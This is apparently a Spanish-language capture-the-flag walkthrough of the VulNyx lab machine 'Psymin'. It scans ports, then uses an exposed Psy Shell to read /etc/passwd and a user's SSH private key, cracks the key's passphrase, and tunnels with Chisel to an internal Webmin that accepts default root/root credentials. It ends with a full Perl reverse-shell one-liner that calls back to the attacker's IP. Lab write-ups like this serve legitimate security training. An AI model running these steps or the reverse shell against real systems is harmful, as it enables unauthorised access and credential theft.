VulNyx - Psymin
- Sensitive Information Disclosure via Psy Shell (Information Leak - id_rsa)
- Insecure Webmin Configuration (Default Credentials - via Chisel)
- Webmin Command Execution (Privilege Escalation)
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.36
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
3000/tcp open ppp syn-ack ttl 64
Escaneo de servicios
❯ nmap -sVC -p 22,80,3000 172.0.100.36
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_ 256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Welcome to nginx!
3000/tcp open landesk-rc LANDesk remote management
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP - TCP 80
HTTP - TCP 3000
Al visitar http://172.0.100.36:3000
, el servidor responde con Psy Shell v0.12.4 en PHP 8.2.20, lo que indica que un intérprete interactivo de PHP está expuesto. La shell intenta interpretar las solicitudes HTTP como código PHP, generando errores de sintaxis.
Tras analizar Psy Shell v0.12.4
, identifico que es accesible a través de Netcat sin restricciones de acceso, lo que representa un riesgo de seguridad significativo.
❯ nc 172.0.100.36 3000
Psy Shell v0.12.4 (PHP 8.2.20 — cli) by Justin Hileman
New version is available at psysh.org/psysh (current: v0.12.4, latest: v0.12.8)
>
Ejecuto el comando help
para ver las opciones disponibles.
Al ejecutar el comando edit
, se abre el editor nano. Esto sugiere que podría usarse para leer archivos si se proporciona una ruta. Intentaré verificarlo intentando leer el /etc/passwd
.
> edit /etc/passwd
Puedo leer /etc/passwd
, pero noto que el editor nano no se muestra correctamente. Para solucionarlo, configuro el entorno de Psy Shell con putenv('TERM=xterm')
, lo que restablece la visualización del terminal.
Ahora, al abrir nuevamente el archivo /etc/passwd
, su contenido se visualizará correctamente en el editor.
En el archivo /etc/passwd
he identificado un usuario llamado alfred. Esto me lleva a explorar el directorio /home/alfred/.ssh/id_rsa
para verificar si existe una clave privada asociada a ese usuario.
> edit /home/alfred/.ssh/id_rsa
Copio la llave a mi equipo, le asigno permisos con chmod 600
, pero al intentar conectarme, recibo el siguiente mensaje:
Utilizo la herramienta RSAcrack para recuperar el passphrase de la clave privada y logro obtenerlo exitosamente.
Me conecto al sistema utilizando el passphrase obtenido de la clave privada.
Utilizo el comando ss
para enumerar las conexiones internas y descubro que hay un servicio corriendo en el puerto 10000.
Para investigar qué servicio está corriendo en el puerto 10000 interno, descargaré chisel
en la máquina víctima y estableceré un túnel hacia mi máquina atacante, lo que me permitirá visualizar el servicio interno como si estuviera en mi máquina atacante.
Máquina Vítcima
alfred@psymin:~$ ./chisel client 172.0.100.25:9080 R:10000:127.0.0.1:10000
Máquina atacante
❯ ./chisel server -p 9080 --reverse
Una vez establecida la conexión con Chisel, abro el navegador y me dirijo a 127.0.0.1:10000
, donde se muestra un panel de inicio de sesión de Webmin.
Introduzco las credenciales root/root
y obtengo acceso al panel de administración de Webmin.
Dejo un Netcat a la escucha, voy a la sección Tools y, en el menú desplegable, hago clic en Command Shell. A continuación, introduzco un one-liner
en Perl para ejecutar una reverse shell.
One-liner
perl -e 'use Socket;$i="172.0.100.25";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Al hacer clic en Execute Command
, obtengo acceso como root.
Y así concluye el viaje en la máquina Psymin.
Que el destino te guíe.
Saludos.